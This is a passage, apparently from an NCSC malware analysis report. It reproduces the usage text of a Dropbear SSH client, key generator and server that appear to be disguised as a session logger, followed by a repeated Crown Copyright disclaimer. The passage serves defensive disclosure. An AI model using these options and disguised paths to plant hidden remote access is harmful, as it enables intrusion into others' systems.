-t Allocate a pty

-T Don’t allocate a pty

-N Don’t run a remote command

-f Run in background after auth

-y Always accept remote host key if unknown

-y -y Don’t perform any remote host key checking (caution)

-s Request a subsystem (use by external sftp)

-o option Set option in OpenSSH-like format (‘-o help’ to list options)

-i <identityfile> (multiple allowed, default .ssh/id_dropbear)

-A Enable agent auth forwarding

-L <[listenaddress:]listenport:remotehost:remoteport> Local port forwarding

-g Allow remote hosts to connect to forwarded ports

-R <[listenaddress:]listenport:remotehost:remoteport> Remote port forwarding

-W <receive_window_buffer> (default 24576, larger may be faster, max 1MB)

-K <keepalive> (0 is never, default 30)

-I <idle_timeout> (0 is never, default 1800)

-B <endhost:endport> Netcat-alike forwarding

-J <proxy_program> Use program pipe rather than TCP connection

-c <cipher list> Specify preferred ciphers (‘-c help’ to list options)

-m <MAC list> Specify preferred MACs for packet verification (or ‘-m help’)

-b [bind_address][:bind_port]

-V Version

scp

usage: scp [-1246BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]

[-l limit] [-P port] [-S program]

[[user@]host1:]file1 […] [[user@]host2:]file2

Dropbearkey command line options

Must specify a key filename

Usage: dropbearkey -t <type> -f <filename> [-s bits]

-t type Type of key to generate. One of:

rsa

dss

ecdsa

ed25519

-f filename Use filename for the secret key.

~/.ssh/id_dropbear is recommended for client keys.

-s bits Key size in bits, should be a multiple of 8 (optional)

DSS has a fixed size of 1024 bits

ECDSA has sizes 256 384 521

Ed25519 has a fixed size of 256 bits

-y Just print the publickey and fingerprint for the

private key in <filename>.

Dropbear server command line options

Dropbear server v2020.81 https://matt.ucc.asn.au/dropbear/dropbear.html

Usage: dropbear [options]

-b bannerfile Display the contents of bannerfile before user login

(default: none)

-r keyfile Specify hostkeys (repeatable)

defaults:

– dss /tmp/sessions.log.d/dropbear_dss_host_key

– rsa /tmp/sessions.log.d/dropbear_rsa_host_key

– ecdsa /tmp/sessions.log.d/dropbear_ecdsa_host_key

– ed25519 /tmp/sessions.log.d/dropbear_ed25519_host_key

-R Create hostkeys as required

-F Don’t fork into background

(Syslog support not compiled in, using stderr)

-w Disallow root logins

-G Restrict logins to members of specified group

-s Disable password logins

-g Disable password logins for root

-B Allow blank password logins

-T Maximum authentication tries (default 10)

-j Disable local port forwarding

-k Disable remote port forwarding

-a Allow connections to forwarded ports from any host

-c command Force executed command

-p [address:]port

Listen on specified tcp port (and optionally address),

up to 10 can be specified

(default port is 2222 if none specified)

-P PidFile Create pid file PidFile

(default /var/run/sessionlog.pid)

-i Start for inetd

-W <receive_window_buffer> (default 24576, larger may be faster, max 1MB)

-K <keepalive> (0 is never, default 30, in seconds)

-I <idle_timeout> (0 is never, default 1800, in seconds)

-V Version

Disclaimer
This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation. Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk. All material is UK Crown Copyright ©

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.